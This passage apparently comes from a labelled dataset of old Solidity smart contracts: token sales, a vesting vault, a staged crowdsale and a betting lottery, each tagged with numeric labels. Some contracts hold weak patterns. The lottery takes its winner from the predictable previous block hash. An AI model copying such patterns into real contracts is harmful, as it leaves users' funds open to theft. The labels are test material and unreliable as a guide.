FlexibleTokenSale(INITIAL_STARTTIME, INITIAL_ENDTIME, wallet)
{
currentStage = INITIAL_STAGE;
tokensPerKEther = TOKENS_PER_KETHER;
bonus = BONUS;
maxTokensPerAccount = TOKENS_ACCOUNT_MAX;
contributionMin = CONTRIBUTION_MIN;
}
function setCurrentStage(uint256 _stage) public onlyOwner returns(bool) {
require(_stage > 0);
if (currentStage == _stage) {
return false;
}
currentStage = _stage;
CurrentStageUpdated(_stage);
return true;
}
function setStageBonus(uint256 _stage, uint256 _bonus) public onlyOwner returns(bool) {
require(_stage > 0);
require(_bonus <= 10000);
if (stageBonus[_stage] == _bonus) {
return false;
}
stageBonus[_stage] = _bonus;
StageBonusUpdated(_stage, _bonus);
return true;
}
function setWhitelistedStatus(address _address, uint256 _stage) public onlyOwnerOrOps returns (bool) {
return setWhitelistedStatusInternal(_address, _stage);
}
function setWhitelistedStatusInternal(address _address, uint256 _stage) private returns (bool) {
require(_address != address(0));
require(_address != address(this));
require(_address != walletAddress);
whitelist[_address] = _stage;
WhitelistedStatusUpdated(_address, _stage);
return true;
}
function setWhitelistedBatch(address[] _addresses, uint256 _stage) public onlyOwnerOrOps returns (bool) {
require(_addresses.length > 0);
for (uint256 i = 0; i < _addresses.length; i++) {
require(setWhitelistedStatusInternal(_addresses[i], _stage));
}
return true;
}
function buyTokensInternal(address _beneficiary, uint256 _bonus) internal returns (uint256) {
require(whitelist[msg.sender] > 0);
require(whitelist[_beneficiary] > 0);
require(currentStage >= whitelist[msg.sender]);
uint256 _beneficiaryStage = whitelist[_beneficiary];
require(currentStage >= _beneficiaryStage);
uint256 applicableBonus = stageBonus[_beneficiaryStage];
if (applicableBonus == 0) {
applicableBonus = _bonus;
}
uint256 tokensPurchased = super.buyTokensInternal(_beneficiary, applicableBonus);
accountTokensPurchased[_beneficiary] = accountTokensPurchased[_beneficiary].add(tokensPurchased);
return tokensPurchased;
}
function getUserTokenBalance(address _beneficiary) internal view returns (uint256) {
return accountTokensPurchased[_beneficiary];
}
} | 1 | 3,094 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.23;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.23;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
pragma solidity ^0.4.23;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
pragma solidity ^0.4.23;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.23;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
pragma solidity ^0.4.23;
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.23;
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
pragma solidity ^0.4.23;
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
pragma solidity ^0.4.23;
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
pragma solidity ^0.4.24;
contract GotToken is CanReclaimToken, MintableToken, PausableToken, BurnableToken {
string public constant name = "GOToken";
string public constant symbol = "GOT";
uint8 public constant decimals = 18;
constructor() public {
paused = true;
}
}
pragma solidity ^0.4.24;
contract PGOMonthlyInternalVault {
using SafeMath for uint256;
using SafeERC20 for GotToken;
struct Investment {
address beneficiary;
uint256 totalBalance;
uint256 released;
}
uint256 public constant VESTING_DIV_RATE = 21;
uint256 public constant VESTING_INTERVAL = 30 days;
uint256 public constant VESTING_CLIFF = 90 days;
uint256 public constant VESTING_DURATION = 720 days;
GotToken public token;
uint256 public start;
uint256 public end;
uint256 public cliff;
mapping(address => Investment) public investments;
function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public {
require(token == address(0));
require(beneficiaries.length == balances.length);
start = startTime;
cliff = start.add(VESTING_CLIFF);
end = start.add(VESTING_DURATION);
token = GotToken(_token);
for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) {
investments[beneficiaries[i]] = Investment(beneficiaries[i], balances[i], 0);
}
}
function release(address beneficiary) public {
uint256 unreleased = releasableAmount(beneficiary);
require(unreleased > 0);
investments[beneficiary].released = investments[beneficiary].released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
}
function release() public {
release(msg.sender);
}
function getInvestment(address beneficiary) public view returns(address, uint256, uint256) {
return (
investments[beneficiary].beneficiary,
investments[beneficiary].totalBalance,
investments[beneficiary].released
);
}
function releasableAmount(address beneficiary) public view returns (uint256) {
return vestedAmount(beneficiary).sub(investments[beneficiary].released);
}
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 vested = 0;
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 totalBalance = investments[beneficiary].totalBalance;
uint256 monthlyBalance = totalBalance.div(VESTING_DIV_RATE);
uint256 time = block.timestamp.sub(cliff);
uint256 elapsedOffsets = time.div(VESTING_INTERVAL);
uint256 vestedToSum = elapsedOffsets.mul(monthlyBalance);
vested = vested.add(vestedToSum);
}
if (block.timestamp >= end) {
vested = investments[beneficiary].totalBalance;
}
return vested;
}
} | 1 | 5,336 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract INCToken is MintableToken {
string public constant name = "Instacoin";
string public constant symbol = "INC";
uint32 public constant decimals = 18;
bool public transferAllowed = false;
modifier whenTransferAllowed() {
require(transferAllowed || msg.sender == owner);
_;
}
function allowTransfer() onlyOwner {
transferAllowed = true;
}
function transfer(address _to, uint256 _value) whenTransferAllowed returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenTransferAllowed returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract StagedCrowdsale is Pausable {
using SafeMath for uint;
struct Milestone {
uint period;
uint bonus;
}
uint public start;
uint public totalPeriod;
uint public invested;
uint public hardCap;
Milestone[] public milestones;
function milestonesCount() constant returns(uint) {
return milestones.length;
}
function setStart(uint newStart) onlyOwner {
start = newStart;
}
function setHardcap(uint newHardcap) onlyOwner {
hardCap = newHardcap;
}
function addMilestone(uint period, uint bonus) onlyOwner {
require(period > 0);
milestones.push(Milestone(period, bonus));
totalPeriod = totalPeriod.add(period);
}
function removeMilestone(uint8 number) onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
delete milestones[number];
for (uint i = number; i < milestones.length - 1; i++) {
milestones[i] = milestones[i+1];
}
milestones.length--;
}
function changeMilestone(uint8 number, uint period, uint bonus) onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
milestone.period = period;
milestone.bonus = bonus;
totalPeriod = totalPeriod.add(period);
}
function insertMilestone(uint8 numberAfter, uint period, uint bonus) onlyOwner {
require(numberAfter < milestones.length);
totalPeriod = totalPeriod.add(period);
milestones.length++;
for (uint i = milestones.length - 2; i > numberAfter; i--) {
milestones[i + 1] = milestones[i];
}
milestones[numberAfter + 1] = Milestone(period, bonus);
}
function clearMilestones() onlyOwner {
require(milestones.length > 0);
for (uint i = 0; i < milestones.length; i++) {
delete milestones[i];
}
milestones.length -= milestones.length;
totalPeriod = 0;
}
modifier saleIsOn() {
require(milestones.length > 0 && now >= start && now < lastSaleDate());
_;
}
modifier isUnderHardCap() {
require(invested <= hardCap);
_;
}
function lastSaleDate() constant returns(uint) {
require(milestones.length > 0);
return start + totalPeriod * 1 days;
}
function currentMilestone() saleIsOn constant returns(uint) {
uint previousDate = start;
for(uint i=0; i < milestones.length; i++) {
if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) {
return i;
}
previousDate = previousDate.add(milestones[i].period * 1 days);
}
revert();
}
}
contract PreSale is Pausable {
event Invest(address, uint);
using SafeMath for uint;
address public wallet;
uint public start;
uint public total;
uint16 public period;
mapping (address => uint) balances;
mapping (address => bool) invested;
address[] public investors;
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
function totalInvestors() constant returns (uint) {
return investors.length;
}
function balanceOf(address investor) constant returns (uint) {
return balances[investor];
}
function setStart(uint newStart) onlyOwner {
start = newStart;
}
function setPeriod(uint16 newPeriod) onlyOwner {
period = newPeriod;
}
function setWallet(address newWallet) onlyOwner {
require(newWallet != address(0));
wallet = newWallet;
}
function invest() saleIsOn whenNotPaused payable {
wallet.transfer(msg.value);
balances[msg.sender] = balances[msg.sender].add(msg.value);
bool isInvested = invested[msg.sender];
if(!isInvested) {
investors.push(msg.sender);
invested[msg.sender] = true;
}
total = total.add(msg.value);
Invest(msg.sender, msg.value);
}
function() external payable {
invest();
}
}
contract Crowdsale is StagedCrowdsale {
address public multisigWallet;
address public foundersTokensWallet;
address public bountyTokensWallet;
uint public foundersTokensPercent;
uint public bountyTokensPercent;
uint public price;
uint public percentRate = 100;
uint public earlyInvestorsBonus;
PreSale public presale;
bool public earlyInvestorsMintedTokens = false;
INCToken public token = new INCToken();
function setPrice(uint newPrice) onlyOwner {
price = newPrice;
}
function setPresaleAddress(address newPresaleAddress) onlyOwner {
presale = PreSale(newPresaleAddress);
}
function setFoundersTokensPercent(uint newFoundersTokensPercent) onlyOwner {
foundersTokensPercent = newFoundersTokensPercent;
}
function setEarlyInvestorsBonus(uint newEarlyInvestorsBonus) onlyOwner {
earlyInvestorsBonus = newEarlyInvestorsBonus;
}
function setBountyTokensPercent(uint newBountyTokensPercent) onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setMultisigWallet(address newMultisigWallet) onlyOwner {
multisigWallet = newMultisigWallet;
}
function setFoundersTokensWallet(address newFoundersTokensWallet) onlyOwner {
foundersTokensWallet = newFoundersTokensWallet;
}
function setBountyTokensWallet(address newBountyTokensWallet) onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function createTokens() whenNotPaused isUnderHardCap saleIsOn payable {
require(msg.value > 0);
uint milestoneIndex = currentMilestone();
Milestone storage milestone = milestones[milestoneIndex];
multisigWallet.transfer(msg.value);
invested = invested.add(msg.value);
uint tokens = msg.value.mul(1 ether).div(price);
uint bonusTokens = tokens.mul(milestone.bonus).div(percentRate);
uint tokensWithBonus = tokens.add(bonusTokens);
token.mint(this, tokensWithBonus);
token.transfer(msg.sender, tokensWithBonus);
}
function mintTokensToEralyInvestors() onlyOwner {
require(!earlyInvestorsMintedTokens);
for(uint i = 0; i < presale.totalInvestors(); i++) {
address investorAddress = presale.investors(i);
uint invested = presale.balanceOf(investorAddress);
uint tokens = invested.mul(1 ether).div(price);
uint bonusTokens = tokens.mul(earlyInvestorsBonus).div(percentRate);
uint tokensWithBonus = tokens.add(bonusTokens);
token.mint(this, tokensWithBonus);
token.transfer(investorAddress, tokensWithBonus);
}
earlyInvestorsMintedTokens = true;
}
function finishMinting() public whenNotPaused onlyOwner {
uint issuedTokenSupply = token.totalSupply();
uint summaryTokensPercent = bountyTokensPercent + foundersTokensPercent;
uint summaryFoundersTokens = issuedTokenSupply.mul(summaryTokensPercent).div(percentRate - summaryTokensPercent);
uint totalSupply = summaryFoundersTokens + issuedTokenSupply;
uint foundersTokens = totalSupply.mul(foundersTokensPercent).div(percentRate);
uint bountyTokens = totalSupply.mul(bountyTokensPercent).div(percentRate);
token.mint(this, foundersTokens);
token.transfer(foundersTokensWallet, foundersTokens);
token.mint(this, bountyTokens);
token.transfer(bountyTokensWallet, bountyTokens);
token.finishMinting();
token.allowTransfer();
token.transferOwnership(owner);
}
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(multisigWallet, token.balanceOf(this));
}
} | 1 | 3,889 |
pragma solidity ^0.4.24;
contract Control
{
mapping(address => uint8) public agents;
modifier onlyADM()
{
require(agents[msg.sender] == 1);
_;
}
event ChangePermission(address indexed _called, address indexed _agent, uint8 _value);
function changePermission(address _agent, uint8 _value) public onlyADM()
{
require(msg.sender != _agent);
agents[_agent] = _value;
ChangePermission(msg.sender, _agent, _value);
}
bool public status;
event ChangeStatus(address indexed _called, bool _value);
function changeStatus(bool _value) public onlyADM()
{
status = _value;
ChangeStatus(msg.sender, _value);
}
modifier onlyRun()
{
require(status);
_;
}
event WithdrawWEI(address indexed _called, address indexed _to, uint256 _wei, uint8 indexed _type);
uint256 private totalDonateWEI;
event Donate(address indexed _from, uint256 _value);
function () payable
{
totalDonateWEI = totalDonateWEI + msg.value;
Donate(msg.sender, msg.value);
}
function getTotalDonateWEIInfo() public onlyADM() constant returns(uint256)
{
return totalDonateWEI;
}
function withdrawDonateWEI(address _to) public onlyADM()
{
_to.transfer(totalDonateWEI);
WithdrawWEI(msg.sender, _to, totalDonateWEI, 1);
totalDonateWEI = 0;
}
function Control()
{
agents[msg.sender] = 1;
status = true;
}
}
contract Core is Control
{
function random(uint256 _min, uint256 _max) public constant returns(uint256)
{
return uint256(sha3(block.blockhash(block.number - 1))) % (_min + _max) - _min;
}
uint256 public betSizeFINNEY;
uint256 public totalBets;
uint256 public limitAgentBets;
uint256 public roundNum;
uint256 public betsNum;
uint256 public commissionPCT;
bool public commissionType;
uint256 private bankBalanceWEI;
uint256 private commissionBalanceWEI;
uint256 private overBalanceWEI;
uint256 public timeoutSEC;
uint256 public lastBetTimeSEC;
function getOverBalanceWEIInfo() public onlyADM() constant returns(uint256)
{
return overBalanceWEI;
}
function getBankBalanceWEIInfo() public onlyADM() constant returns(uint256)
{
return bankBalanceWEI;
}
function getCommissionBalanceWEIInfo() public onlyADM() constant returns(uint256)
{
return commissionBalanceWEI;
}
function withdrawOverBalanceWEI(address _to) public onlyADM()
{
_to.transfer(overBalanceWEI);
WithdrawWEI(msg.sender, _to, overBalanceWEI, 2);
overBalanceWEI = 0;
}
function withdrawCommissionBalanceWEI(address _to) public onlyADM()
{
_to.transfer(commissionBalanceWEI);
WithdrawWEI(msg.sender, _to, commissionBalanceWEI, 3);
commissionBalanceWEI = 0;
}
mapping(address => uint256) private agentAddressId;
address[] private agentIdAddress;
uint256[] private agentIdBetsSum;
uint256[] private agentIdBankBalanceWEI;
uint256[] private betsNumAgentId;
function getAgentId(address _agentAddress) public constant returns(uint256)
{
uint256 value;
uint256 id = agentAddressId[_agentAddress];
if (id != 0 && id <= agentIdAddress.length)
{
if (agentIdAddress[id - 1] == _agentAddress)
{
value = agentAddressId[_agentAddress];
}
}
return value;
}
function getAgentAdress(uint256 _agentId) public constant returns(address)
{
address value;
if (_agentId > 0 && _agentId <= agentIdAddress.length)
{
value = agentIdAddress[_agentId - 1];
}
return value;
}
function getAgentBetsSum(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= agentIdBetsSum.length)
{
value = agentIdBetsSum[_agentId - 1];
}
return value;
}
function getAgentBankBalanceWEI(uint256 _agentId) public constant returns(uint256)
{
uint256 value;
if (_agentId > 0 && _agentId <= agentIdBankBalanceWEI.length)
{
value = agentIdBankBalanceWEI[_agentId - 1];
}
return value;
}
function getPositionBetAgent(uint256 _positionBet) public constant returns(uint256)
{
uint256 value;
if (_positionBet > 0 && _positionBet <= betsNumAgentId.length)
{
value = betsNumAgentId[_positionBet - 1];
}
return value;
}
function getAgentsNum() public constant returns(uint256)
{
return agentIdAddress.length;
}
function Core()
{
roundNum = 1;
}
event ChangeGameSettings(address indexed _called, uint256 _betSizeFINNEY, uint256 _totalBets, uint256 _limitAgentBets, uint256 _commissionPCT, bool _commissionType, uint256 _timeoutSEC);
function changeGameSettings(uint256 _betSizeFINNEY, uint256 _totalBets, uint256 _limitAgentBets, uint256 _commissionPCT, bool _commissionType, uint256 _timeoutSEC) public onlyADM()
{
require(betsNum == 0);
require(_limitAgentBets < _totalBets);
require(_commissionPCT < 100);
betSizeFINNEY = _betSizeFINNEY;
totalBets = _totalBets;
limitAgentBets = _limitAgentBets;
commissionPCT = _commissionPCT;
commissionType = _commissionType;
timeoutSEC = _timeoutSEC;
ChangeGameSettings(msg.sender, _betSizeFINNEY, _totalBets, _limitAgentBets, _commissionPCT, _commissionType, _timeoutSEC);
}
event Bet(address indexed _agent, uint256 _agentId, uint256 _round, uint256 _bets, uint256 _WEI);
event Winner(address indexed _agent, uint256 _agentId, uint256 _round, uint256 _betsSum, uint256 _depositWEI, uint256 _winWEI, uint256 _luckyNumber);
function bet() payable public onlyRun()
{
require(msg.value > 0);
uint256 agentID;
agentID = getAgentId(msg.sender);
if (agentID == 0)
{
agentIdAddress.push(msg.sender);
agentID = agentIdAddress.length;
agentAddressId[msg.sender] = agentID;
agentIdBetsSum.push(0);
agentIdBankBalanceWEI.push(0);
}
bankBalanceWEI = bankBalanceWEI + msg.value;
agentIdBankBalanceWEI[agentID - 1] = getAgentBankBalanceWEI(agentID) + msg.value;
uint256 agentTotalBets = (getAgentBankBalanceWEI(agentID)/1000000000000000)/betSizeFINNEY;
uint256 agentAmountBets = agentTotalBets - getAgentBetsSum(agentID);
if (agentAmountBets > 0)
{
if ((agentAmountBets + getAgentBetsSum(agentID) + betsNum) > totalBets)
{
agentAmountBets =
totalBets - betsNum;
}
if ((agentAmountBets + getAgentBetsSum(agentID)) > limitAgentBets)
{
agentAmountBets =
limitAgentBets - getAgentBetsSum(agentID);
}
agentIdBetsSum[agentID - 1] = getAgentBetsSum(agentID) + agentAmountBets;
while (betsNumAgentId.length < betsNum + agentAmountBets)
{
betsNumAgentId.push(agentID);
}
betsNum = betsNum + agentAmountBets;
Bet(msg.sender, agentID, roundNum, agentAmountBets, msg.value);
}
lastBetTimeSEC = block.timestamp;
if (betsNum == totalBets)
{
_play();
}
}
function playForcibly() public onlyRun() onlyADM()
{
require(block.timestamp + timeoutSEC > lastBetTimeSEC);
_play();
}
function _play() private
{
uint256 luckyNumber = random(1, betsNum);
uint256 winnerID = betsNumAgentId[luckyNumber - 1];
address winnerAddress = getAgentAdress(winnerID);
uint256 jackpotBankWEI = betsNum * betSizeFINNEY * 1000000000000000;
uint256 overWEI = bankBalanceWEI - jackpotBankWEI;
uint256 commissionWEI;
if (commissionType)
{
commissionWEI = (jackpotBankWEI/100) * commissionPCT;
}
else
{
commissionWEI = (betsNum - getAgentBetsSum(winnerID)) * (betSizeFINNEY * 1000000000000000) / 100 * commissionPCT;
}
winnerAddress.transfer(jackpotBankWEI - commissionWEI);
commissionBalanceWEI = commissionBalanceWEI + commissionWEI;
overBalanceWEI = overBalanceWEI + overWEI;
Winner(winnerAddress, winnerID, roundNum, getAgentBetsSum(winnerID), getAgentBankBalanceWEI(winnerID), jackpotBankWEI - commissionWEI, luckyNumber);
bankBalanceWEI = 0;
betsNum = 0;
roundNum++;
delete agentIdAddress;
delete agentIdBetsSum;
delete agentIdBankBalanceWEI;
delete betsNumAgentId;
}
} | 1 | 4,367 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => bool) public specialAccount;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(specialAccount[msg.sender] == specialAccount[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(specialAccount[_from] == specialAccount[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(specialAccount[msg.sender] == specialAccount[_spender]);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
